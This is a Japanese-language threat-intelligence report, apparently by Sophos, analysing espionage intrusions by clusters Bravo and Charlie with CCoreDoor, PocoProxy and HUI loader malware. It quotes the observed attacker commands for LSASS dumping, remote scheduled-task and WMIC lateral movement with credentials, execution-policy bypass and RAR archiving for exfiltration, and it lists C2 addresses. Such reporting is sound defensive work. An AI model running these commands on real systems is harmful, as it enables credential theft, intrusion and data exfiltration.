Sn-url ksn-url-geo.kaspersky-labs.com Kaspersky Security Network サービス
Sn-cinfo ksn-cinfo-geo.kaspersky-labs.com Kaspersky Security Network サービス
Crc.tren *.icrc.trendmicro.com Trend Micro Smart Protection Network
Url.tren url.trendmicro.com Trend Micro Web Reputation Service
Ensus.tren *census.trendmicro.com Trend Micro Global Census Service (行動監視と予測機械学習)
Rx.tren *.trx.trendmicro.com Trend Micro 予測機械学習
dev.drwe live.dev.drweb.com DrWeb シグネチャアップデート – DrWeb Live Disk
F2.drw f2.drweb.com DrWeb ダウンロードサイト

 

さらに、TSVIPSrv.dll サンプルには機能が追加されていました。構成を解凍した結果、以下の C2 サーバーアドレスが確認されました。

  • 167.116[.]30
  • 220.202[.]143
  • 195.237[.]123
EAGERBEE sample (TSVIPSrv.dll) configuration with hardcoded C2 IPs
図 21: ハードコードされた C2 IP を構成に含んだ EAGERBEE のサンプル (TSVIPSrv.dll)

Cluster Alpha のセキュリティ侵害の痕跡 (IoC) は、ソフォスの GitHub ページでご確認いただけます。

Cluster Bravo (STAC1870)

探索

Ping リクエスト

3 週間の侵入期間を通して、この攻撃者はさまざまな検出コマンドを実行し、多数の内部ホスト、政府機関のドメイン、さらにはソフォス関連のドメインに ping を送信しました。特に、ソフォスはこの攻撃者がデフォルトと同じ 3 回の ping ではなく、1 回の ping を送信すること、および以下のコマンドを使用して netbios セッションをクリーンアップするのを継続的に確認しました。

  • net use * /del /y”.
  • ping -n 1 t1.sophosupd.com

この内部探索の際、攻撃者は同じ国に位置する 2 組の関連する政府機関への接続を確認していました。そのうちの 1 組は、中国の 5 か年計画および国際的に認められた国境の外での南シナ海の天然資源に対する権利の主張とも合致しているため、中国政府にとって関心の高い対象として位置付けられています。

探索コマンドとツール

Cluster Bravo に配置された CCoreDoor バックドアは、whoami、ipconfig /all、nbstat –an 、tracert-d-h 3 、query u、netstat –ano、tasklist /v、net use、および net view /all \\<サーバー名>. など、さまざまな探索コマンドを実行しました。

この攻撃者は、「AppData」内の mscorsvw.exe を使用して、Windows イベントログファイル (.evtx) の抽出と解析に使用されるツールである EvtxParser.exe を含む PowerShell スクリプト 3.ps1 を実行することも確認されています。3.ps1 の実行により、圧縮されたサンプルに対するソフォスの検出「‘Xsh/dnObfus-A’」がトリガーされ、スクリプトの実行がブロックされました。

powershell -ep bypass -f 3.ps1

認証情報へのアクセス

LSASS メモリダンプ

Cluster Bravo の活動が観測された最初の日に、LSASS プロセスをダンプするためのコマンド「rdrleakdiag.exe /p 696 /o C:\\programdata\\log /fullmemdmp /wait 1」が実行されました。Rdrleakdiag.exe は、Microsoft Windows のリソースであるリーク診断ツールであり、文書化された LOLbin です。

ラテラルムーブメント

権限の昇格に有効なアカウントを使用

攻撃者は、拠点とするホスト上でシステムレベルの権限を獲得した後、特定の管理者アカウントでセカンダリ C2 セッションを生成してデプロイメントを自動化し、他のリモートサーバーにラテラルムーブメントを行いました。

有効なアカウントを使用することに加え、攻撃者は CCoreDoor インプラントを活用し、2 種類の主要な実行方法によって、内部でのラテラルムーブメントと外部への C2 通信の両方を行いました。

CCoreDoor のシングルセッションでの実行によるラテラルムーブメント

 

Figure 22: The threat actor used two different approaches(single session execution and persistent execution) to deploy CCoreDoor implants for lateral movement and external C2 communications. Above, the methods used to run single-execution deployment of the implants.
図 22: 攻撃者は、ラテラルムーブメントと外部への C2 通信用に CCoreDoor インプラントを展開するため、2 種類の異なるアプローチ (シングルセッションでの実行と永続的な実行) を使用しました。 上図は、シングルセッションで実行するためのバックドア展開に使用された手法を示しています。

 

シングルセッションでの実行ではほとんどの場合、攻撃者は悪意のある .vbsスクリプトを含む正規の mscorsvw.exe (Licensing.exe | Packages.exe | Systemconfig.exe) を予期されるディレクトリから「C:\ProgramData」にコピーし、名前を変更しました。攻撃者は侵入期間を通じて複数のスケジュールタスクを作成し、名前を変更した mscorsvw.exeバイナリを実行し、悪意のある mscorsvc.dll (CCoreDoor) を別のマシンにサイドロードしました。スケジュールタスクは、「1回」の実行スケジュールで設定されるか、作成後に手動で実行された後、直ちに削除されました。

schtasks /create /tn "microsoft" /sc once /ru system /s 172.xx.xxx.xx /st 13:49:00 /tr "c:\Programdata\Packages\Packages.exe"

しかし、Sophos MDR の脅威ハンターは、侵入を通じた CCoreDoor インプラントの実行方法が複数通りあることを確認しており、この攻撃者が難読化された方法でペイロードを実行するために、少しずつ異なる方法を使用していたことを示しています。たとえば、以下のような方法が用いられました。

  • WScript を使って、さまざまなシステム上でバックドアを実行する vbscript (vbs | 3.vbs) を実行する
C:\Windows\system32\cmd.exe /C "wscript.exe c:\programdata\3.vbs"
wscript.exe  c:\programdata\3.vbs
  • 有効なアカウントを使ってリモートサーバー上にサービス「ntauthcmd」を作成し、WScript から vbs を実行させ、バックドアを実行する
sc \\172.xx.xxx.xx create ntauthcmd binpath= "c:\windows\system32\wscript.exe C:\programdata\r.vbs" type= own
  • .vbs スクリプトを用いず、サイドロードされた CCoreDoor バックドアを実行するために wmic プロセスである call createvbs を使用する
wmic /node:172.xx.xxx.xx process call create "c:\Programdata\Packages\Packages.exe

常駐化/権限昇格

 Diagram illustrating persistent execution method used by the threat actor to deploy CCoreDoor implants for lateral movement and external C2 communications
図 23: ラテラルムーブメントおよび外部との C2 通信のために、攻撃者が永続的な CCoreDoor インプラントの展開に使用する方法

スケジュールタスクによる永続的な C2 通信

永続的な実行のため、攻撃者はバックドアを開始するバッチスクリプト (3.bat) を作成する前に、無害な mscorsvw.exe と悪意のある mscorsvc.dll (CCoreDoor) を「C:\Users\Administrator\Appdata\Roaming」にコピーしました。その後、Sophos MDR は CCoreDoor が攻撃者の C2 である message.ooguy[.]com (146.190.93[.]250) への外部通信を確立し、永続的な C2 通信実行用のスケジュールタスクをシステムとして作成することを確認しました。DNS リクエストと TCP ネットワーク接続を介した休止状態の C2 通信は、約 2 日間続きました。

schtasks /create /ru system /sc MINUTE /mo 300 /tn "microsoft\windows\SystemTemps" /tr "c:\users\administrator\appdata\roaming\mscorsvw.exe" /F

schtasks /run /tn "microsoft\windows\SystemTemps"

2 日後、この攻撃者は侵害されたドメイン管理者として別のスケジュールタスクを実行し、内部でのラテラルムーブメントのために CCoreDoor のシングルセッションでの実行を開始しました。

schtasks /create /ru <Active Directory Domain>\<user>/sc MINUTE /mo 1 /tn "microsoft\windows\SystemTemps" /tr "c:\users\administrator\appdata\roaming\mscorsvw.exe" /F

CCoreDoor のシングルセッションでの実行がラテラルムーブメントに使用された例では、スケジュールタスクと悪意のある DLL はセッション終了後に直接削除されました。しかし、CCoreDoor が永続的な C2 通信に使用された事例では、タスクは実行されたままになっていました。

C2

CCoreDoor バックドア

CCoreDoor (mscorsvc.dll) は、ラテラルムーブメントを行い、外部との C2 通信を確立し、探索コマンドを実行し、LSASS メモリダンプを実行するために使用される単純なバックドアです。

SophosLabs の分析により、バックドアによって作成されるバックグラウンドタスクの 2 件のスレッドが特定されました。最初のスレッドは、[base64 + sub(6)] で暗号化されたホスト名とポート (message.ooguy[.]com:443) を復号し、CCoreManager::StartWorkThread. を呼び出して接続することで、C2 通信を確立します。2 番目のスレッドは、100 ミリ秒ごとにすべてのウィンドウを高速で列挙し、自分自身に属するものを隠すことで、バックドアの活動を確実に隠匿することを目的としています。

[172.xx.x.xxx]:61222 -> [146.190.93.250]:443 request: message.ooguy[.]com

CCoreDoor がサポートするコマンド

コマンド 目的
exit コマンドディスパッチャーを残して終了する
quit コマンドディスパッチャーを残して終了する
uninstall サービスを停止し、自身を削除する
exitex ExitProcess を呼び出す
plugin サーバーから受け取ったコマンドライン (Calls CCoreManager::ShellAction および CCoreManager::CreateThread) を実行する

防御回避

メモリ上の ntdll.dll の上書きによるシステムフックのバイパス

3 月には、Cluster Bravo で ntdll.dll (ntpsapi.dll に改名されていました) が 1 分間に少なくとも 19 回作成、削除、変更されるアクティビティが観測されました。ired.team が文書化しているように、この手法は、メモリ上の ntdll.dll をディスク上のバージョンで上書きすることで、Sophos エンドポイント保護エージェントプロセスをカーネルからアンフックするために使用されます。正規のバージョンをコピー元として使用することで、この手法はメモリ上のバージョンが破損してシステムがクラッシュするのを防ぎます。

Cluster Bravo のセキュリティ侵害の痕跡 (IoC) は、ソフォスの GitHub ページでご確認いただけます。

Cluster Charlie (STAC1305)

探索

標的ユーザーの偵察

Cluster Charlie による探索活動がピークに達したのは、2023 年 6 月のある休日の朝でした。この時、ネットワーク全体のユーザーとネットワークの偵察のためにイベントログを大量に分析したり、1,800 台以上のマシンに ping を送信するなど、最も人目を引く活動が確認されました。その日の朝、ソフォスはこの攻撃者が .bat ファイルを使用して探索コマンドを実行した後、新たに配置された PocoProxy インスタンス (chrome.log) からコマンドセッションに切り替えて wevtutil コマンドを実行し、120 人以上のドメインユーザーに対して特定の探索活動を行うのを観測しました。

C:\Windows\SYSTEM32\cmd.exe /c ""c:\perflogs\4.bat"" >> wevtutil  qe security /rd:true /f:text /q:"*[System/EventID=4624 and 4628] and *[EventData/Data[@Name='TargetUserName']='<redacted>']" /c:20

この最初の活動の後、攻撃者はリモートスケジュールタスクを介して別のドメインコントローラーに移動し、別の PocoProxy インプラント (4413.txt) を使用して同じ wevtutil コマンドを、今度は別の管理者認証情報を用いて実行しました。

wevtutil e security /rd:true /f:text /q:"*[System/EventID=4624 and 4628] and *[EventData/Data[@Name='TargetUserName']='user']" /c:20 /r:<server> /u:<user> /p:"<password>"

Sophos MDR の脅威ハンターは、PocoProxy インプラントから実行された探索コマンドにおいて、自動化スクリプトがイベント ID 4628 にクエリを送信するのが誤植である可能性を確認しました。イベント ID 4628 は特に機能を持たないためです。

2 日後、この攻撃者はイベントログの収集を続けましたが、さらに Impacket モジュール Atexec を活用して特定のユーザーのセキュリティログを取得し、wmpwk.mof にエクスポートしました。

powershell.exe  -exec bypass -Command " Get-EventLog -LogName Security -After '2022/06/01 00:00' | Where-Object {$_.eventid -eq 4624 -and $_.Message-like '*<USER>*'} | Format-List|out-file -filepath C:\Windows\System32\wbem\wmpwk.mof"

これらの探索コマンドに続いて、4413.txt は以下のコマンドを実行し、カレントディレクトリにあるすべての .txt ファイルの圧縮アーカイブファイルを作成しました。

rar.dat  a -m5 ff.rar *.txt\

ping スイープ

攻撃者はイベント ID 4624 のログ探索で収集された IP アドレスを使用して、同じ長さの休止時間を挟み、6 分間隔で継続的にネットワーク全体に自動 ping スイープを実施しました。

後の試行では、ping スイープのスクリプトに壊れた部分があることが確認できます。その結果、pingは 814 回しか成功せず、「ping -n 1 %I」を使用した残りの 931 回は失敗しました。アクティビティの量と長さ、および ping 送信されたホストアドレスの大部分が連続していたという事実に基づき、この攻撃者はネットワーク内のすべてのエンドポイントをマッピングしようとしていたと確信します。

認証情報へのアクセス

有効な認証情報への事前アクセス

Sophos MDR は、Cluster Charlie の攻撃者が 3 月に C2 インプラントの機能をテストするために 2 つの異なる管理者アカウントを利用しているのを観測しており、未知の手段で有効な認証情報に事前にアクセスしていたことが判明しています。1 つ目のアカウントは、Telnet (telnet.exe) を使用して C2 インフラストラクチャへの接続性をテストし、もう 1 つのアカウントは、Windows の「runas」コマンドを使用して PocoProxy インプラントを常駐化しました。

McAfee File Lock を悪用して LSASS 認証情報インターセプタをサイドロード

7 月末に、ソフォスの脅威ハンターは PocoProxy のサンプル (4413.txt) が McAfee File Lock の実行ファイル (McPvTray.exe) を実行し、C:\Users\Public\McPvNs.dll をサイドロードするのを確認しました。このサイドロードは数時間にわたって複数回試行されましたが、攻撃者が実行可能ファイルを見つけるためにさまざまな探索コマンドを実行していたため、失敗したと考えられます。

tasklist
findstr  McPvTray.exe
findstr  mcafee
findstr  Agent
wmic  process get name,executablepath

その直後、C:\users\public\Libraries\11.log というファイルがディスク上に作成されたことから、この McAfee 実行ファイルのサイドロードは、LSASS 認証情報インターセプタ (11.log) をロードするための試みだったことに一定の確信を持っています。SophosLabs のアナリストは、11.log ファイルが SpAcceptCredentials 関数をフックして、キャプチャした認証情報を user.log にダンプしていることを突き止めました。11.log がシステム上に作成された後すぐに、user.log に平文で認証情報が出力されるのが確認されています。

ラテラルムーブメント

全体として、Cluster Charlie の攻撃者は、標的ネットワーク全体へのアクセス拡大を順序立てて実行しました。有効なアカウントの使用に加え、標的のマシンを新たに感染させるために、C2 インプラントから複数のドメインコントローラーに同時に接続するのがしばしば観察されました。このような感染の拡大方法は、クライアント間のトラフィックが正規のトラフィックにうまく紛れ込めないのとは対照的に、通常のドメインコントローラートラフィックのノイズの中に身を隠せます。

他ネットワークにツールを移動させるためのスケジュールタスクの作成

Cluster Charlie の攻撃者は時々スケジュールタスクを利用していました。たとえば 6 月 12 日、4413.txt のサンプルは、新たな標的システム上で別の PocoProxy インプラント (a8.txt) を起動するために、漏洩した管理者認証情報を使用してタスクを作成しました。

schtasks  /Create   /S 172.xx.xxx.xx /U <redacted>.local\<username> /P "<password>" /RU system /sc onstart /TN "\Microsoft\Windows\config_bk111" /TR " c:\windows\system32\rundll32.exe c:\perflogs\a8.txt,Update" /F

Sophos MDR の脅威ハンターは、hideschtasks.exe というカスタムバイナリも回収しました。このバイナリは、リモートでスケジュールタスクを作成し、ATSVC の名前付きパイプ (ncacn_np: \pipe\atsvc) にコマンドを実行する機能を持ちます。

WinRS を介したラテラルムーブメント

8 月に入ると、この攻撃者は WinRS を使用して探索を行い、さらにエンドポイントへのラテラルムーブメントを開始しました。このラテラルムーブメントのため、攻撃者は SMB 共有を介して新しいシステムにマルウェアをコピーし、リモートのスケジュールタスク作成を利用して実行しました。この攻撃者はさらに、WinRS を介して wmic の実行をプロキシしていました。この活動は通常確認されないもので、それ自体大きな脅威ハンティングの候補となります。

C:\WINDOWS\system32\cmd.exe /C for /f %i in (33.txt) do ping -n 1 %i >> rr.txt
C:\WINDOWS\system32\cmd.exe /C net use \\<IP>\c$ /u:<redacted>    "<redacted>"
C:\WINDOWS\system32\cmd.exe /C schtasks /Create /S <IP> /U <redacted>    /P "<redacted>"  /RU system /SC ONCE /ST 12:02 /TN test4 /TR "c:\users\public\2.bat" /F
C:\WINDOWS\system32\cmd.exe /C wmic /node:<IP> /user:<redacted> /password:"<redacted>" get name,executablepath >> de.txt

常駐化/権限昇格

C2 インフラストラクチャとスケジュールタスクのローテーション

Cluster Charlie の攻撃者は、侵入期間を通じて標的システムへの永続的なアクセスを最優先し、攻撃者が制御する IP への冗長な C2 通信ラインを確立するために、複数のマルウェアインプラントを展開しました。さらに永続性を高めるために、PocoProxy ペイロードの反復実行を可能にする複数のスケジュールタスクが作成されました。いくつかの事例ではタスクが手動で実行されていましたが、システム再起動時にタスクがトリガーされるように設定された事例も確認されました。

schtasks  /Create   /RU <redacted>.local\\<redacted> /sc onstart  /TN \"\\Microsoft\\Windows\\config3\"  /TR \"cmd /c c:\\windows\\system32\\rundll32.exe c:\\windows\\vss\\writers\\application\\443.txt,Update\" /F

schtasks  /Create    /RU system /sc onstart /TN "\Microsoft\Windows\config_bk1" /TR " c:\windows\system32\rundll32.exe c:\windows\vss\writers\application\4413.txt,Update" /F

Runas を用いた権限昇格

検出を回避しながら権限を昇格させるために、攻撃者はしばしば runas を使って別のユーザーのコンテキストでコマンドを実行することで、管理者権限でコマンドを実行していました。

"runas  /env /user:<redacted> "c:\windows\system32\rundll32.exe c:\windows\vss\writers\application\443.txt,Update""

C2

PocoProxy マルウェア

Cluster Charlie の活動を調査する中で、Sophos MDR の脅威ハンターは、異なるファイル名で実行される未報告のマルウェアのサンプルを少なくとも 5 件発見しました。PocoProxy と名付けられたこのマルウェアは、シェルコマンドの実行、権限昇格プロセスへのペイロードの注入、Explorer.exe を発見するためのプロセスのスキャンなどの機能を備えています。PocoProxy は通常 Listen モードまたは Connect モードのいずれかで動作するほか、Proxy アドレスを設定するための第 3 の値も存在します。それぞれの値は、サーバーアドレスの追加パラメーターを受け取ります。

  • Listen (更新された URL で listen_URL 文字列を上書きする)
  • Proxy (-listen と組み合わせて使用され、更新された URL で proxy_host 文字列を上書きする)
  • Connect (更新された URL で lconnect_URL 文字列を上書きする)
PocoProxy sample assembly code showing command loop
図 24: コマンドループを示す PocoProxy サンプルのアセンブリコード
PocoProxy sample assembly code assigning new ‘Connect’ and ‘Listen’ URLs
図 25: 新しく「Connect」および「Listen」の URL を割り当てる PocoProxy サンプルのアセンブリコード

図 25: 新しく「Connect」および「Listen」の URL を割り当てる PocoProxy サンプルのアセンブリコード

PocoProxy という名前は、このマルウェアが C2 通信やネットワークプロキシを作成するために poco::net SSL ライブラリを埋め込み、利用することに由来します。このマルウェアに関する公的な報告は見つかりませんでしたが、Sophos Labs は VirusTotal で、PocoProxy のサンプルを 2018 年まで遡って複数確認しています。

図 26: PocoProxy サンプルおよび C2 接続の展開のタイムラインを示す図

サンプル 1: 443.txt

最初の PocoProxy サンプル (443.txt) は 3 月に展開され、攻撃者は有効な管理者アカウントを使用して rundll32.exe 経由で 443.txt を実行するスケジュールタスクを実行し、PocoProxy インプラントから C2 IP 198.13.47[.]158 への C2 通信を生成しました。この攻撃者は、3 月と 4 月を通じてラテラルムーブメントを行いながら、C2 通信のために 443.txt を使用し続けました。

schtasks  /Create   /RU <Redacted> \<username> /sc onstart  /TN "\Microsoft\Windows\config3"  /TR "c:\windows\system32\rundll32.exe c:\windows\vss\writers\application\443.txt,Update" /F

サンプル 2: 4413.txt (プライマリインプラント)

5 月、2 件目の PocoProxy サンプル (4413.txt) が、攻撃者が常駐化のためにスケジュールタスクを実行するプロセスを繰り返す中で観測されました。実行後、4413.txt はプライマリインプラントとして、複数のエンドポイントで C2 IP 64.176.50[.]42 への接続の確立を開始しました。

schtasks  /Create    /RU system /sc onstart /TN "\Microsoft\Windows\config_bk1" /TR " c:\windows\system32\rundll32.exe c:\windows\vss\writers\application\4413.txt,Update" /F

サンプル 3: Chrome.log

4413.txt の実行を続けながら、攻撃者は、158.247.241[.]188 への C2 通信を確立するために実行された chrome.log という追加の PocoProxy インプラントを展開しました。ドメインコントローラーに移動した後、chrome.logrundll32.exe を介して実行され、数百人のユーザーに対して偵察コマンドを実行するコマンドセッションを生成しました。

c:\windows\system32\rundll32.exe c:\perflogs\chrome.log,Update

サンプル 4: Aaaa.txt

同日、攻撃者が同一の C2 IP 158.247.241[.]188 に接続するために、追加のシステム上で 4 件目の PocoProxy サンプル (aaaa.txt) を配信するのが確認されました。このサンプルは、既知の悪意のあるドメイン www.googlespeedtest33[.]com への DNS リクエストを行うことも確認されています。

サンプル 5: A8.txt

その直後s、攻撃者は最後の PocoProxy バイナリ (a8.txt) を展開・実行して新しい C2 IP 139.180.217[.]105 との通信を確立した後、スケジュールタスクを実行して、さまざまなドメインコントローラーやサーバー上に追加の a8.txt インプラントを展開しました。

schtasks  /Create    /RU system /sc onstart /TN "\Microsoft\Windows\config_bkb" /TR " c:\windows\system32\rundll32.exe

Cobalt Strike を配信するための HUI ローダー

PocoProxy を C2 通信に使用することに加え、Cluster Charlie の攻撃者が 8 月に HUI ローダーと呼ばれるカスタムマルウェアローダーを実行したことが確認されています。このローダーは、しばしば正規の実行ファイルからサイドロードされ、暗号化されたペイロードを作成するために複数の中国系攻撃者によって使用されていることが報告されています

このケースでは、正規のファイル identity_helper.exe が HUI ローダー (msedge_elf.dll) をサイドロードし、log.ini ファイルの難読化を解除して、mstsc.exe に注入された Cobalt Strike 反射型ローダーと Cobalt ビーコンを展開しました。ビーコンはドメイン <編集により削除>dnsspeedtest2022[.]com への通信を試みましたが、シェルコードのインジェクションは動作検知ルールによってブロックされました。

Cobalt Strike Beacon configuration recovered from memory
図 27: メモリから復元された Cobalt Strike のビーコンの構成

防御回避

Cluster Charlie の攻撃者は、実行中のプロセスを徹底して taskkill コマンドで終了させ、実行後のスケジュールタスクを削除していました。

taskkill  /im 8012 /f

8 月に行われた WinRS の探索活動において、Sophos MDR は ping コマンドと wevtutil コマンドの出力がさまざまな .txt ファイルに向けられていることを確認しました。この活動を通じて、攻撃者はカレントディレクトリ内のすべての .txt.exe.dat ファイルを削除するコマンドを実行しました。

C:\WINDOWS\system32\cmd.exe /C del *.exe

C:\WINDOWS\system32\cmd.exe /C del *.dat

C:\WINDOWS\system32\cmd.exe /C del *.txt

さらには検出を回避し、フォレンジック分析を複雑化するために、すべてのアクティブなネットワークドライブマッピングを繰り返し切断しました。

C:\WINDOWS\system32\cmd.exe /C net use * /d /y

データの窃取

2023 年 11 月、Sophos MDR の脅威ハンターは被害者環境の監視を継続する中で、以下のような機密情報を収集し、流出させようとする Cluster Charlie の活動を確認しました。

  • 軍事、サイバーセキュリティ、経済的利益に関連する数多くの文書。その多くは南シナ海における同国の軍事戦略に関連するもの
  • 複数の管理者 (クラウド管理者を含む) の Windows および Web 認証情報群
  • 複数の管理者やその他スタッフの個別の VoIP 電話データベース
  • クラウドの OpenVpn 証明書と構成、データバックアッププロジェクトのドキュメント、インフラストラクチャの切り替え
  • ディザスタリカバリデータ、ネットワーク機器データ、電子メールデータ
  • IP ブロックの割り当て、サーバーブレードの構成、DMZ 構成、サーバーおよびバックアップサーバーインベントリ、ネットワーク図、ドメインユーザーリストなどのサービスデータ
  • 構成、サーバートークン、暗号化キー、デバイス証明書を含む、モバイルデバイスマネージャー (MDM) ソリューションからの広範なデータ

攻撃者はこれらのデータをキャプチャするために、ファイルを圧縮し、中身に暗号化を施しました。

"C:\windows\debug\rar.dat" a -m5 C:\windows\debug\97.rar C:\windows\debug\viber.db

c:\windows\debug\rar.dat a c:\windows\debug\4.rar @c:\windows\debug\logadmin.dat

"c:\windows\debug\rar.dat" a c:\windows\debug\az.rar -x*.msi -x*.exe -x*.bak -x*.pst -x*.iso -v100M -r "\\172.xx.xxx.xx\D$\OneDrive - <REDACTED>\AZURE OPENVPN

戦略的な側面からは、この攻撃者は多くの軍事的・政治的機密文書や、メッセージの復元に使用できる複数の管理者の VoIP 電話データベースファイルの収集に成功しました。さらに詳細なアクセスをサポートするために、攻撃者は環境内のほぼすべてのインフラストラクチャに関する文書、および通信の復号、データの変更/削除、新しい証明書の要求や未承認デバイスの登録に使用できる MDM サーバーの管理者資格情報とトークンデータも取得しました。

Cluster Charlie のセキュリティ侵害の痕跡 (IoC) は、ソフォスの GitHub ページでご確認いただけます。

セキュリティ侵害の痕跡 (IoC)

ソフォスの GitHub ページにある以下のリンク先ファイルには、本レポートに記載されている一連の活動ごとの IoC が掲載されています。さらに、本件に関連する 2023 年 8 月以降の活動の IoC も提供しています。